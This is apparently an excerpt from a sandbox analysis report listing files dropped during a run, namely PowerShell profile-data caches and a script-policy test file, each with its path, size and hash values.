Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f0fb45280574a39a6fe9473fba213d3c52aa08822f00ad8b06f55f5b53432a5a
MD5 25c494e6ed59e0f3d863660087159b45
SHA1 87224933cec22810e6380b66649209b5bb6dd82f
SHA512 6b415f66e0d54fb40f971555678bbea937b89096871447e88276c0150131f2b6102a6ee41b3a20fa3f0e1f8f0d700dfb63426e4c4e8fcfe729f7a6088f537e9c
TLSH
T161117423B79DC960CC89413B409D9D6136B2D7C740AEDE9B2EC4C208A03F588CB201A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
MD5 50a8221b93fbd2628ac460dd408a9fc1
SHA1 7e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA512 27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_npbbvmp5.ct2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_npbbvmp5.ct2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download